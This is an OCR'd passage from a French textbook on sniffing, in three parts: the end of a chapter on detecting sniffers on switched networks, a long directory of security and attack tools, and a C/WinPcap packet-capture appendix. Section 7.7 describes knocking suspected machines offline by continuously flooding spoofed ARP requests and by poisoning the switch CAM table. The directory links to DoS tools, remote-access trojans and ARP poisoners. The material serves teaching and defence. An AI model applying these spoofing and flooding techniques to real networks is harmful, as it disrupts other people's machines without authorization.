Il est important de noter que dans le cas ou le cache ARP de la machine A n’est
pas corrompu, on choisit une autre machine du réseau et on recommence le méme
procédé. A la fin, si aucun cache n’est corrompu, on peut conclure que la machine
incriminée (D dans notre exemple) a en effet le routage IP activé mais n’est pas en
train de sniffer le réseau. Il se peut donc que I'utilisateur de D ait activé par
inadvertance le routage IP de sa machine, sans avoir I’intention de sniffer le réseau.

7.7. Déconnexion des machines sniffeuses

Une fois qu’une machine sniffeuse a été détectée, I’administrateur réseau se doit
de la déconnecter sans délai. Pour ce faire, il a a sa disposition, entre autres, les deux
méthodes suivantes.

7.7.1. Les requétes ARP falsifiées

L’attaque consiste a envoyer une requéte ARP de broadcast falsifiée. La requéte
ARP falsifiée recherche I’adresse MAC d’une machine d’adresse quelconque. En
principe, dans le champ « Adresse source IP » de I’en-téte ARP, I’administrateur
doit inscrire I’adresse IP de sa propre machinel®. Il tape plutét I’adresse IP de sa
cible, transformant ainsi la requéte ARP en une requéte falsifiée. De plus, il met
dans le champ « Adresse source MAC » une adresse quelconque.

Lorsque la machine cible recoit la requéte ARP falsifiée, elle note que la

machine émettrice de la requéte ARP posséde la méme adresse IP que la sienne, et

15. Pour de plus amples informations sur le protocole ARP, voir chapitre 1.
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affiche un message d’erreur pour alerter son utilisateur. Par exemple, sur une
machine Windows XP, le message d’erreur suivant (écran ci-dessous) est affiché :
« Le systeme a détecté un conflit d’adresse IP avec un autre systéme sur le réseau ».
Nous abordons ce point parce que si I’une des machines gérées par I’administrateur
était attaquée, il doit savoir quel type de message il va recevoir.

¥y windows - Erreur systéme

Le systéme a détecté un conflit d'adresse [P avec un aukre
systEme sur le réseau

Quand c’est lui qui attaque, I’administrateur doit continuer a bombarder la
machine incriminée. Si la machine est sous Windows, elle finira par étre
déconnectée. Par contre, si elle est sous Linux, son systéme sera seulement ralenti.

Pour produire et envoyer en continu une requéte ARP falsifiée, I’administrateur
peut utiliser le générateur de paquet de CommView. L’écran suivant montre les
valeurs des différents champs d’une requéte ARP falsifiée.

B send Packets via Intel{R) PRO/100 YM Network Connection - CommStudio’ ter b n ol x|
=) Ethemnt 11 0x00: FF FF FF FF FF FF 00 OZ AS B6é E3 &2 08 06 00 Ol
Destination MAC: FF FFFFFFFFFF 0x10: 08 D0 06 D4 00 Ol AL AA AL AA RA LA AC 10 10 14

Source MAC: 00:02:A5:86 E3:82
Ethertype: 0r806 (2054) - ARP
- ARP
Hardwware: 0x0001 (1) - Exhemet
Protocol: 000800 (2048) - 1P
Hardwesre adderass langth: 0x08 (8)
Protocol address length: Oud (4)
Operation: 00001 (1) - ARP Request
Sender MAC address: ARAAAR AR AASA
Sender IP addresc: 172.16,16.20
Target MAC sddress: oam:wm‘:h

L__|

L'adresse IP de
Target IP address: 172,16.16.200 \‘
KI|

0x20: 00 00 00 00 00 00 AC LO 10 C3

la machine cible

> - 5
~ Packet Generator — |

Packet size: la2 = Send |

Packets per second: |230 = i] - time(s) [ ]
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7.7.2. L attaque de la table CAM du switchl6

Dans un réseau commuté, toutes les stations sont reliées & un commutateur
(switch) qui a la charge d’envoyer les trames qu’il recoit aux bons destinataires.
Chaque machine est connectée au commutateur sur un port. Ainsi, seuls les
destinataires d’une trame la recoivent, mais les autres machines n’y ont pas acceés.

L’attaque consiste a envoyer un paquet quelconque (ARP ou IP) falsifié, visant a
corrompre le contenu de la table CAM. A partir de sa machine, I’administrateur
génere un paquet falsifié et I’envoie au switch. Dans I’en-téte Ethernet du paquet, il
initialise le champ « adresse destination MAC » par I’adresse MAC de la machine
cible. De cette facon, lorsque le switch recoit le paquet, il met & jour
automatiquement le contenu de sa table CAM. Aprés quoi, tout trafic destiné a la
machine cible sera envoyé vers la machine de I’administrateur. Afin de déconnecter
complétement du réseau la machine cible, I’administrateur doit empécher le trafic
recu d’étre routé vers la machine cible. Pour maintenir cette situation, il doit envoyer
le paquet falsifié d’une facon continue (figure 7.12).

Machine cible

(IP2, MAC2)
y = La table CAM (avant I'attaque)
@) :
s Numéro du port | Adresse MAC
Part 1 MACT
Paort 2 MACZ
Port 2
Switch Port 1 La table CAM (apres lattaque)
Paquets T Numéro du port Adresse MAC
i falsifiés N Port 1 Pl
L@ Tj ?? Part 1 MACZ
Administrateur = 7
(IP1, MAC1)

Figure 7.12. Corruption de la table CAM du switch
pour déconnecter une machine cible

16. Voir chapitre 1, section 1.5.
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7.8. L outil Advanced AntiSniffer

Advanced AntiSniffer se base sur les deux techniques de détection des machines
avec un routage IP activé, a savoir la méthode du ping ICMP piége et la méthode du
ping ICMP avec TTL nul. De plus, cet outil permet de détecter parmi les machines
avec un routage IP activé, celles qui ont réalisé auparavant une attaque de corruption
du cache ARP sur des machines. Enfin, il utilise les techniques de déconnexion.

Comme le montre I’écran ci-dessous, Advanced AntiSniffer affiche la liste des
machines avec le routage IP activé dans la plage d’adresses IP: 172.16.16.1 —
172.16.16.30. Ainsi a-t-il détecté deux machines dont le routage IP est activé, a
savoir les machines 172.16.16.1 et 172.16.16.20.

#» Advanced AntiSniffer = ] 3]

File Options 7

Routing method |

— Corfiguration

= IP range to scan
Source [P[Real ) | 172 16 16

B |‘IT2 1616 1 g 172,16 .16 .30 [ Single Address

B T T B 2 :
Destination [P: Gathering Mac addresses : | 0

&

" Detection method bazed on Ping ICMP packet with TTL = 0 [Broadcast sending] .
+ Detection method bazed on Ping ICMP packet with TTL =0 [sending to each I in the specified range] .
" Detection method based on L nusual Ping ICMP packet [sending ta each IP in the specified range] .

~ Routers :
Clic here :
P [ MAC U [etets
17216.16.1 00:09:07:08:02:38 Start
17216.16.20 00 30:4f.22:66:58
~ Informations :
Status:  Stopped Received packets: 0 | Routers machines : 0 |Running time : 00:0C:00

If pou obtain the list of routers an your netwark. pou should click this button to find Routing Sniffers

 Lozal Machine

Host Mame : compag IP Address : 17216.16.2 Source MAC : 00:02: 35:b6:23:82

Quand la liste des machines incriminées est affichée, pour identifier celles qui
ont déja réalisé la corruption des caches ARP, I’utilisateur n’a qu’a appuyer sur le
bouton « Next Screen ». Il peut alors passer a la contre-attaque.

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Détection dans les réseaux commutés 245

Le menu « Option/Attack » lui propose deux attaques, a savoir « IP duplication
attack »17 et « MAC Duplication attack »18.

7.9. Résumé du chapitre 7

Ce chapitre aura montré les différentes techniques de détection du sniffing dans
les réseaux commutés. En effet, pour réaliser des détournements de trafic, les
espions utilisent principalement la technique de la corruption du cache ARP. La
détection de cette corruption est donc une étape primordiale dans le processus
général de détection du sniffing.

Dans un réseau commuté, une machine doit activer le routage IP afin de rediriger
les paquets détournés vers leurs vraies destinations. Les techniques du ping ICMP
piége et du ping ICMP avec TTL nul permettent de détecter ces machines espionnes.
Cependant, ces techniques sont devenues maintenant assez documentées et les
pirates peuvent ainsi facilement utiliser un filtre ou modifier le noyau de leur
systeme pour accepter et traiter uniguement les paquets venant des machines
espionnées. Ainsi, la machine du pirate ne génére aucune réponse a un paquet recu
d’une machine, rendant ces techniques inefficaces.

Cependant, la plupart des sniffers dans les réseaux sont utilisés par des pirates
plutét amateurs qui ne savent pas manipuler les noyaux des systémes d’exploitations
faute de compétence. Par conséquent, la détection des sniffers par les techniques
exposées dans ce chapitre reste encore tres efficace la plupart du temps.

17. Voir plus haut, section 7.1.
18. Voir plus haut, section 7.2.
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NB. Certains sites web peuvent avoir disparu depuis I’impression de cet ouvrage.
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CommView : http://www.tamos.com

Ethereal : http://www.ethereal.com

Icrzoex : http://www.laurentconstantin.com

LANWatch : http://sandstorm.net/products/lanwatch/
Linsniff : http://www.packetstormsecurity.org

MaaTec Network Analyzer : http://www.maatec.com/mtna/index.html
Packet Analyzer Professional : http://www.colasoft.com
Sniff’em : http://www.sniff-em.com

Sniffer Pro : http://www.networkassociates.com

Sniffit : http://reptile.rug.ac.be/~coder/sniffit/sniffit.ntml
Snort : http:///www.snort.org

Tcpdump : http://www.tcpdump.org

Win Sniffer : http://www.winSniffer.com

Windump : http://netgroup-serv.polito.it/windump

Les anti-sniffers des réseaux partagés

AntiSniff : http://anticode.antionline.com

Desniff : http://build.Inx-bbc.org/packages/net/DeSniff.html
PromiScan : http://www.securityfriday.com/products/promiscan.html
PMD (promiscuous mode detector) : http://webteca.port5.com

Neped : http://www.apostols.org
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SnifferWall : {habdelallahElhadj,mkortebi}@mail.cerist.dz, khelalfa@wissal.dz
Sniffdet : http://sniffdet.sourceforge.net/

Les sniffers des réseaux commutés

Angst : http://angst.sourceforge.net/

ARPoison : http://packetstormsecurity.org

Dsniff : http://www.monkey.org/~dugsong/dsniff/
Ettercap : http://ettercap.sourceforge.net

Parasite : http://www.thehackerschoice.com/releases.php
Snarp : http://packetstorm.security.com/NT/snarp.zip
Taranis : http://www.bitland.net/taranis/

Winarp_mim : http://www.arp-sk.org

ZWEKNU : http://www.zweknu.org/src/MiM

Les anti-sniffers des réseaux commutés

Advanced AntiSniffer : Trabelsi.zouheir@supcom.rnu.tn, zouheir20012001@yahoo.com
ArpWatch. ftp ://ftp.ee.Ibl.gov

Snort : http://www.snort.org

Les sniffers contrdlables a distance

ButtSniff : http://www.packetstormsecurity.org

CommView Remote Agent : http://www.tamos.com

Les services et protocoles cryptés

Automate Secure FTP : http://www.hiteksoftware.com

Global SCAPE CuteFTP Professional : http://www.globalscape.com
Global SCAPE Secure FTP server : http://www.globalscape.com
GnuPG : http://www.gnupg.org/download.html

Hushmail : https ://www.hushmail.com
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OpenSSH : http://www.openSSH.org

Pretty Good Privacy : http://web.mit.edu/network/pgp.html
Secure FTP Server : http://www.ipswitch.com

SSH : http://www.ssh.fi

Stunnel : http://www.stunnel.org

Les logiciels de stéganographie

CCTT - Covert Channel Tunneling Tool : http://entreelibre.com/cctt/man_fr.html
EzStego : http://www.stego.com

Hide and Seek : http://www.rugeley.demon.co.uk/security

Hide4PGP : http://www.heinz-repp.onlinehome.de/Hide4PGP.htm

InThePicture : http://www.intar.com/ITP/itpinfo.htm

Steganos : http://www.steganography.com

StegoWav : http://www.jjtc.com/Steganography/toolmatrix.htm

S-tools. www.snapfiles.com/get/stools.html

Les outils et les documents permettant de changer les adresses MAC

Linux
MAC Changer : http://www.alobbs.com/macchanger

Windows 2000, XP et Server 2003
SMAC : http://www.klcconsulting.net/smac/

Windows NT
http://www.klcconsulting.net/Change_ MAC_wnt.htm

Windows 98/Me
http://www.klcconsulting.net/Change_ MAC_w98.htm
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Les scanners de vulnérabilités

Acunetix web Vulnerability Scanner : http://www.acunetix.com
Core Impact : http://www.coresecurity.com

CyberCop Scanner : http://www.nai.com

Enterpriselnspector : http://security.shavlik.com

GFI LANguard Network Security Scanner : http://www.gfi.com
Hacker Whacker : http://www.hackerwhacker.com

ISS Internet Scanner : http://www.iss.net

Nessus : http://www.nessus.org

SiteScan : http://www.hackers.com/html/archive.5.html

Sygate Scan : http://scan.sygatetech.com

Symantec Security Check : http://securityl.norton.com

Web Cracker : http://www.packetstormsecurity.org
WWWHACK : http://www.packetstormsecurity.org

Les scanners de ports

NetScanTools : http://netscantools.com
Nmap : http://www.nmap.org

SamSpade : http://www.samspade.org
SuperScan Pro : http://www.superscan.net

WS_ping ProPack : http://www.ipswitch.com

Les outils de controle a distance des machines

BackOrifice : http://www.bo2k.com

NetBus : http://www.nwinternet.com/~pchelp/nb/netbus.htm
NetSupport : http://www.netsupport-inc.com

PcAnywhere : http://www.symantec.com

Remote Administrator : http://www.radmin.com

SpyWare : http://www.shareup.com

SubSeven : http://subseven.slak.org

Virtual Network Computing : http://www.uk.research.att.com/vnc
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Les antivirus

AntiVir : http://www.free-av.com/

AVG Anti-Virus : http://www.grisoft.com
McAfee : http://www.mcafee.com

Norton Antivirus : http://www.symantec.com

Panda Software Antivirus : http://www.pandasoftware.com

Les outils des attaques de déni de service (Denial of Service — DoS)

CPU Hog : http://206.170.197.5/hacking/denialofservice/

Jolt2 : http://razor.bindview.com

Land : http://packetstorm.securify.com/9901- xploits/eugenics.pl

Ping of Death ; http://packetstorm.securify.com/9901-exploits/eugenics.pl
Smurf : http://packetstorm.securify.com/new-exploits/papasmurf.c

SSping : http://packetstorm.securify.com/9901-exploits/eugenics.pl

Syn Flood : http://packetstorm.securify.com/spoof/unix-spoof-code/synk4.zip
Targa : http://packetstorm.securify.com

TFN2K : http://packetstorm.securify.com/distributed/

Trinoo : http://packetstorm.securify.com/distributed/

WinNuke : http://www.anticode.com

Les outils des attaques de détournement de session

Hunt : http://www.cri.cz/kra/index.html
IP-Watcher : http://www.engarde.com
Juggernaut : http://www.rootshell.com

TTY Watcher. ftp ://coast.cs.purdue.edu/pub/tools/unix/ttywatcher
Les systémes de détection des intrusions (intrusion detection systems — IDS)

Dragon : http://www.enterasys.com/ids

eTrust Intrusion Detection : http://www.cai.com
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NetProwler : http://www.symantec.com

Network Flight Recorder : http://www.nfr.com
RealSecure : http://www.iss.net

Secure Intrusion Detection : http://www.cisco.com

Snort : http://www.snort.org

Les archives des sites web attaqués

http://www.2600.com/hacked_pages/
http://www.onething.com/archive

http://www.secureroot.com/category/hackers/hacked_websites/

Les firewalls

Astaro : http://www.astaro.com

Check Point : http://www.checkpoint.com

Firewalk : http:// packetstorm.securify.com/unix/audit/firemalk
Fortigate : http://www.fortinet.com

Kerio Personal Firewall : http://www.kerio.com

McAfee Personal firewall : http://www.mcafee.com

Norton Personal firewall : http://www.symantec.com

PIX Cisco : http://www.cisco.com

Stonegate : http://www.stonesoft.com

Sygate Personal firewall : http://www.sygate.com

ZoneAlarm : http://www.zonelabs.com

Les newsgroups

alt.security
comp.os.ms-windows.nt.admin.misc
comp.os.ms-windows.nt.admin.networking
comp.security

comp.security.misc
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comp.security.unix

comp.sys.sgi.admin
comp.sys.sun.admin
comp.unix.admin

misc.security

La sécurité des mots de passe

Brutus : http://www.hoobie.net/brutus

Crack. ftp://cerias.cs.purdue.edu/pub/Tools/unix/crack
John the Ripper : http:/www.openwall.com/john
LOphtcrack : http://www.10pht.com

Password Policy Enforcer : http://www.anixis.com

Les attaques du buffer overflow

Imap Buffer Overflow : http://Packetstorm.securify.com

NetMeeting Buffer Overflow : http://packetstorm.securify.com/9905-exploits/microsoft.
netmeeting.txt

ToolTalk Buffer Overflow : http://securityfocus.com

Les outils de sécurité

Cheops : http:/www.marko.net/cheops/
Fragrouter : http:/www.anzen.com
11S Unicode Exploit ; http:/www.wiretrip.Net/rfp/p/doc.asp?id=57&face=2

LANWalk Scanner (la nouvelle version de xSharez Scanner) et xIntruder : http://www.tools-
for.net

Netcat : http://www.10pht.com
Queso : http://www.apostols.org/projectz/queso
THC Scan : http://thc.inferno.tusculum.edu
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Divers sites de sécurité

http//www.abirnet.com
http//www.aggroup.com
http://netgroup-serv.polito.it/analyzer/
http://networking.earthweb.com
http://neworder.box.sk
http://packetstorm.decepticons.org.
http://privacy.net
http://routergod.com/gilliananderson
http://softload.narod.ru
http://www.securitysoftwaretech.com, 2000
http://www.abirnet.com
http://www.actionline.com
http://www.alaricsecurity.com/ssp.html.
http://www.Allhack.com
http://www.althes.fr/ressources/avis/smartspoofing.htm
http://www.alw.nih.gov
http://www.anticode.com
http://www.antionline.com
http://www.astalavista.com
http://www.Bugtrag.com
http://www.cerias.cs.purdue.edu
http://www.cert.org
http://www.ciac.llnl.gov
http://www.Cultdeadcow.com
http://www.deny.de
http://www.detect-it.com
http://www.elitehackers.com
http://www.enslaver.com
http://www.esecurityonline.com

http://www. Firosoft.com/security/philez

http://www.first.org
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http://www.frsirt.com
http://www.ftp.cert.dfn.de
http://www.ftp.nec.com
http://www.ftp.porcupine.org
http://www.ftp.win.tue.nl
http://www.geek-speak.net
http://www.hack.co.za
http://www.hackernews.com
http://www.hackersclub.com
http://www.hackingexposed.com
http://www.infosyssec.net
http://www.infowar.co.uk
http://www.insecure.org
http://www.LinuxSecurity.com, 2001
http://www.members.tripod.com
http://www.monkey.org/~dugsong/dsniff/fag.Html
http://www.net.tamu.edu
http://www.networknewz.com
http://www.network-tools.com
http://www.ntbugtrag.com
http://www.ntobjectives.com
http://www.phrack.com
http://www.Porcupine.org

http://www.privacy.net/analyze/

http://www.robertgraham.com/pubs/sniffing-fag.html.

http://www.Rogenic.com
http://www.Rootshell.com
http://www.sans.org
http://www.secureroot.com
http://www.Securiteam.com
http://www.Securityfocus.com

http://www.Securitysearch.net
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http://www.securitysoftwaretech.com/antisniff/tech-paper.html
http://www.securityspace.com
http://www.sinsecure.org
http://www.sniffer.com, 2000
http://www.Sysinterals.com
http://www. Technotronic.com
http://www.Torus.indirect.co.uk
http://www.trouble.org
http://www.Ussrback.com
http://www.Warmaster.de
http://www.Whitehats.com
http://www.windowsecurity.com
http://www.wiretapped.net
http://www.Wiretrip.net

http://www.Xforce.iss.net
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ANNEXE

Programmation des sniffers
dans les réseaux Ethernet
partagés et commutes

A.1l. Programmation d’un sniffer dans un réseau Ethernet partagé
A.1.1. Introduction

Dans un réseau Ethernet partagé, le fonctionnement d’un sniffer se résume en la
capture et I’analyse des paquets circulant dans le réseau. Ceci nécessite les taches
élémentaires qui suivent :

— lister I’ensemble des interfaces réseaux présentes dans le systeme ou le
sniffer va s’exécuter ;

— ouvrir en mode promiscuous I’interface réseau choisie par I’ utilisateur ;
— capturer les paquets circulant dans le réseau ;
— analyser les paquets captureés.

A.2. Environnement de programmation
En optant pour un modele orienté objet, on peut encapsuler les taches

précédentes dans une classe qu’on appellera par exemple sniffing et ayant comme
fonctions membres :
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List_adapters // Listage des interfaces réseau.

Open_adapter // Ouverture d’une interface réseau en mode promiscuous.
Capture /I Capture des paquets.

Analyse /I Analyse des paquets.

Eventuellement, d’autres classes peuvent étre ajoutées a la classe sniffing, pour
parfaire I’aspect graphique et fournir une documentation de I’application.

L’environnement de la programmation du sniffer est :
— Microsoft Visual Studio 6.0 ;
— la bibliothéque Winpcap béta 3.1 ;
— le langage Visual C++.

La bibliotheque Winpcap est une bibliothéque qui peut s’interfacer avec le
langage Visual C++ et faciliter ainsi énormément la tache de la capture des paquets
sur le réseau.

A.3. Les principales fonctions d’un sniffer

Le pseudo-code des principales fonctions assurant le fonctionnement d’un sniffer
est le suivant.

La fonction List_adapters

Cette fonction sans paramétres renvoie la liste des interfaces réseau figurant dans
le systéme.

Pseudo-code :

#include <pcap.h> // Ce fichier, appelé Header, contient les déclarations
des fonctions ajoutées par la bibliothéque Winpcap

char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t* alldevs,*d;
CString m_String,s, m_StringTab[2];

if'(pcap_findalldevs(&alldevs, errbuf) == -1) // Cherche des interfaces réseaux
m_String.Format("Erreur lors de recherche des interfaces: %s\n", errbuf);

MessageBox(m_String);
return TRUE;

¥
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for(d= alldevs; d '= NULL; d= d->next)
{
m_String.Format("%s", d->name);
if (d->description)s.Format(" (%s)", d->description);
else s ="La carte réseau n'est pas déecrite";
m_String =m_String +s;
m_StringTab[0].Format("%d",m_nOpen);
m_StringTab[1] = m_String;
}

La fonction Open_adapter

Elle prend en parametre un index entier représentant I’interface réseau
sélectionnée par I’ utilisateur et I’ouvre en mode promiscuous.

Pseudo-code
#include <pcap.h>

int m_nlinterface;
pcap_if_t* alldevs,*d;
pcap_t* m_pPcap_Descripteur ;

inti=0;

for(d= alldevs; d '= NULL && i< m_nlnterface ; d= d->next)
{

i++;
/I Parcourir la liste des interfaces réseau jusqu’a I’interface choisie
/I par I'utilisateur (son numéro= m_nlnterface).

}

if ( (m_pPcap_Descripteur = pcap_open_live(d->name, 100, 1, 20, errbuf) ) ==
NULL)

MessageBox("Erreur lors d'ouverture de l'interface ");
return;

}
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La fonction capture

Elle renvoie un ensemble de paquets résultant de la capture. La fonction est
exécutée dans une activité (thread) qui tourne en permanence.

Pseudo-code

#include <pcap.h>

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;

r'ﬁ'_ResuItat:pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

A.4. Structures des paquets
#include <pcap.h>

/1 les types suivants du Header <pcap.h> vont étre utilisés:
/l'u_char : 1 octet

/l'u_short : 2 octets

/l'u_int : 4 octets

A.4.1. Adresse MAC

/I L’adresse MAC est de taille 6 octets
typedef struct struct_mac_address {
u_char bytel; //1er octet

u_char byte2; //2éme octet

u_char byte3; //3éme octet

u_char byted; //4éme octet

u_char byte5; //5éme octet

u_char byte6; //6éme octet
}mac_address;

A.4.2. Adresse IP

/I L’adresse IP est de taille 4 octets
typedef struct struct_ip_address{
u_char bytel; //1er octet

u_char byte2; //2e octet

u_char byte3; //3e octet

u_char byte4; //4e octet
}ip_address;
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A.4.3. En-téte Ethernet

/I L’en-téte Ethernet est de taille 14 octets
typedef struct struct_ethernet_header{
mac_address macd; //Adresse MAC destination
mac_address macs; //Adresse MAC source
u_short type; //Type de trame
}ethernet_header;

A.4.4. En-téte ARP

/I L’en-téte ARP est de taille 28 octets

typedef struct struct_arp_header{

u_short type_m; //Type de matériel

u_short type_p; //Type de protocole

u_char Igr_addr_m:; //Taille en octets de I'adresse du matériel
u_char Igr_addr_p; //Taille en octets de I'adresse du protocole
u_short operation; //Opération (requéte ou réponse )
mac_address macs; //Adresse MAC source

ip_address ips; //Adresse IP source

mac_address macd; //Adresse MAC destination

ip_address ipd; //Adresse IP destination

Yarp_header;

A.4.5. En-téte IP

/I L’en-téte IP est de taille 20 octets

typedef struct struct_ip_header{

u_char ver_ihl; // Version (4 bits) + longueur d'En-téte (4 bits)
u_char tos; // Type de service

u_short tlen; // longueur totale

u_short identification; // Identification

u_short flags_fo; // Drapeau (3 bits) + Décalage du fragment (13 bits)
u_char ttl; // Durée de vie (TTL)

u_char proto; // Protocole

u_short crc; // Somme de controle(Checksum)

ip_address saddr; // Addresse source

ip_address daddr; // Addresse destination

}ip_header;

A.4.6. En-téte ICMP

/I L’en-téte ICMP est de taille 8 octets
typedef struct struct_icmp_header {
u_char type; // Type
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u_char code; // Code

u_short crc; // Somme de contr6le (Checksum)
u_short id; // Identificateur

u_short seqnum,; // Séquence

}icmp_header;

A.4.7. En-téte UDP

/I L’en-téte UDP est de taille 8 octets

typedef struct struct_udp_header {

u_short sport; // Port source

u_short dport; // Port destination

u_short length; // Longueur de I’'UDP

u_short crc; // Somme de contréle (Checksum)
}udp_header;

A.4.8. En-téte TCP

/I L’en-téte TCP est de taille 20 octets
typedef struct struct_tcp_header {
u_short sport; // Port source

u_short dport; // Port destination

u_int segnum; // Numéro de séquence
u_int acknum; // Numéro d’acquittement
u_char hlen; // Longueur de I’entéte
u_char flags; //les drapeaux

u_short win; // La taille de la fenétre
u_short crc; // Somme de contréle de I’En-téte (Header Checksum)
u_short urgptr; // Pointeur d’urgence
}cp_header;

A.5. Exemple d’analyse des paquets

A.5.1. Identification d’un paquet ARP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
arp_header arp;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)
{
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memcpy(&ethernet, pkt_data, sizeof(ethernet _header));

if(ethernet.type==htons(0x0806) )m_String =" Le paquet est de type ARP ";
}

A.5.2. Identification d’une demande ARP (ARP request)

pcap_t* m_pPcap_Descripteur ;

struct pcap_pkthdr* header;

const u_char * pkt_data;

ethernet_header ethernet;

arp_header arp;
m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet _header));
if(ethernet.type==htons(0x0806) )
memcpy(&arp, pkt_data+ sizeof(ethernet_header), sizeof(arp _header));

if(arp. Operation == htons(0x0001))
m_String =" Le paquet est de type requéte ARP (ARP request) " ;

}

A.5.3. Identification d’une réponse ARP (ARP reply)

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
arp_header arp;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)
{

memcpy(&ethernet, pkt_data, sizeof(ethernet _header));
if(ethernet.type==htons(0x0806) )

memcpy(&arp, pkt_data+ sizeof(ethernet_header), sizeof(arp _header));
if(arp. Operation == htons(0x0002))
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m_String =" Le paquet est de type réponse ARP (ARP reply) ";
}

}

A.5.4. ldentification d’un paquet IP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)
{

memcpy(&ethernet, pkt_data, sizeof(ethernet _header));
if(ethernet.type==htons(0x0800) )
m_String = "Le paquet est de type IP " ;

¥

A.5.5. Identification du TTL d’un paquet IP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat = 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet _header));
if(ethernet.type==htons(0x0800) )
{

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
m_String.Format("Le TTL est % d ",ip.ttl) ;
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A.5.6. Identification de I’adresse IP source d’un paquet
pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;

ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);
if(m_Resultat != 0)
memcpy(&ethernet, pkt_data, sizeof(ethernet));
if(ethernet.type==htons(0x0800) )
{
memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
m_String.Format(“L’adresse IP source est: %d.%d.%d.%d”,ip.

saddr.bytel, ip.saddr.byte?2, ip. saddr.byte3, ip.
saddr.byte4) ;

}

A.5.7. Identification de I’adresse destination IP d’un paquet
pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;

ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )
memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));

m_String.Format("L’adresse IP destination est: %d.%d.%d.%d ",ip.
daddr.bytel, ip. daddr.byte2,ip. daddr.byte3, ip. daddr.byte4) ;
}
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A.5.8. Identification d’un paquet ICMP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )
{

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
if(ip. proto==0x01) m_String=" Le paquet est de type ICMP " ;
}

}

A.5.9. Identification d’un paquet ICMP écho requéte (echo request)

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

icmp_header icmp;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
if(ip. proto==0x01)

memcpy(&icmp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip
_header), sizeof(icmp _header));
if(icmp. Type== 0x08)m_String="Le paquet est une requéte
ICMP (Echo request) " ;
}
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A.5.10. Identification d’un paquet ICMP écho réponse (echo reply)

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

icmp_header icmp;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat = 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )
{

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip
_header));
if(ip. proto==0x01)

memcpy(&icmp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip
_header), sizeof(icmp _header));

if(icmp. Type== 0x00) m_String="Le paquet est une réponse
ICMP (Echo reply) ";

A.5.11. Identification d’un paquet UDP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);
if(m_Resultat != 0)
{

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )
{

memcpy(&ip, pkt_data+ sizeof(ethernet_header),

sizeof(ip _header));
if(ip. proto==0x11)m_String=" Le paquet est de type UDP ";
}
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A.5.12. Identification du port source UDP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

udp_header udp;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);
if(m_Resultat != 0)
memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )
memcpy(&ip, pkt_data+ sizeof(ethernet_header),
sizeof(ip _header));

if(ip. proto==0x11)

memcpy(&udp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip _header),

sizeof(udp _header));
m_String.Format(" Le port source UDP est : %d ",udp. sport) ;

}

A.5.13. Identification du port destination UDP

